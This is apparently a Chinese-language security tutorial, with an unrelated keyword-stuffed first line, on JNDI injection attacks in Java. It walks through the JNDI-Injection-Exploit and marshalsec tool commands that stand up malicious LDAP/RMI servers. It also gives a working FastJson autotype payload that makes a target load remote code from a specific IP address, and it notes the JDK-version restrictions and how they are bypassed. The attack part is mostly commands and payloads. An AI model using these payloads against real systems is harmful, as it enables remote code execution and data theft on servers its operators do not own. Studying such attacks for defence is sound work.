三门峡企业网站建设公司,品牌推广策划,网站安全防黑联盟,wordpress文章列表页文章目录 参考本节目的JNDI概念-RMILDAP服务调用检索#xff1a;在RMI服务中调用了InitialContext.lookup()的常用类有#xff1a;在LDAP服务中调用了InitialContext.lookup()的常用类有#xff1a; JNDI注入-使用工具生成远程调用JNDI远程调用-工具#xff08;j… 文章目录 参考本节目的JNDI概念-RMILDAP服务调用检索在RMI服务中调用了InitialContext.lookup()的常用类有在LDAP服务中调用了InitialContext.lookup()的常用类有 JNDI注入-使用工具生成远程调用JNDI远程调用-工具jndi-injection自主定义JNDI远程调用-工具marshalsec JNDI注入-FastJson漏洞结合JNDI注入-JDK高版本注入绕过JDK 6u45、7u21之后JDK 6u141、7u131、8u121之后JDK 6u211、7u201、8u191之后 参考本节目的
https://blog.csdn.net/dupei/article/details/120534024
高版本绕过参考
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
什么是jndi注入
为什么有jndi注入
JDNI注入安全问题
JDNI注入利用条件
参考https://blog.csdn.net/dupei/article/details/120534024
JNDI概念-RMILDAP服务
JNDI全称为 Java Naming and DirectoryInterfaceJava命名和目录接口是一组应用程序接口为开发人员查找和访问各种资源提供了统一的通用接口可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有DNS、LDAP、CORBA、RMI等。
RMI远程方法调用注册表
LDAP轻量级目录访问协议
调用检索
Java为了将Object对象存储在Naming或Directory服务下提供了Naming Reference功能对象可以通过绑定Reference存储在Naming或Directory服务下比如RMI、LDAP等。
javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的常用类有
org.springframework.transaction.jta.JtaTransactionManager.readObject()com.sun.rowset.JdbcRowSetImpl.execute()javax.management.remote.rmi.RMIConnector.connect()org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)在LDAP服务中调用了InitialContext.lookup()的常用类有
InitialDirContext.lookup()Spring LdapTemplate.lookup()LdapTemplate.lookupContext()JNDI中内置了rmi、ldap服务 rmi、ldap都可以进行远程调用对象可以远程执行java代码class文件 攻击利用中就用到了jndi-injection和marshalsec工具 jdk高版本会影响rmi和ldap的利用marshalsec针对ldap高版本有一定绕过方法。 JNDI注入-使用工具生成远程调用
JNDI远程调用-工具jndi-injection自主定义
1、使用远程调用(默认端口1389)
new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/xxx”);
new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/xxx”);
2、使用利用工具生成调用地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc” -A xx.xx.xx.xx
JNDI远程调用-工具marshalsec
1、使用远程调用(默认端口1389)
new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”);
new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”);
2、编译调用对象
javac Test.java 将对象编译为class文件放入远程服务器后利用工具生成调用协议 3、使用利用工具生成调用协议rmi,ldap
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test
4、将生成的Class存放访问路径
JNDI注入-FastJson漏洞结合
背景JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)
思路利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入
漏洞利用FastJson autotype处理Json对象的时候未对type字段进行完整的安全性验证攻击者可以传入危险类并调用危险类连接远程RMI主机通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞获取服务器敏感信息甚至可以利用此漏洞进一步的对服务器数据进行操作。
1、报错判断FastJson
2、使用工具生成远程调用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc” -A 47.94.236.117
3、提交JSON数据Payload
{“type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“rmi://47.94.236.117:1099/vwaexx”,“autoCommit”:true} 该类最终调用了InitialContext.lookup() JNDI注入-JDK高版本注入绕过
JDK 6u45、7u21之后
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时
将禁用自动加载远程类文件仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后
增加了com.sun.jndi.rmi.object.trustURLCodebase选项默认为false禁止RMI和CORBA协议使用远程codebase的选项
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后
增加了com.sun.jndi.ldap.object.trustURLCodebase选项默认为false
禁止LDAP协议使用远程codebase的选项把LDAP协议的攻击途径也给禁了。
高版本绕过参考
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html marshalsec中集成了一些绕过绕过的ldap服务。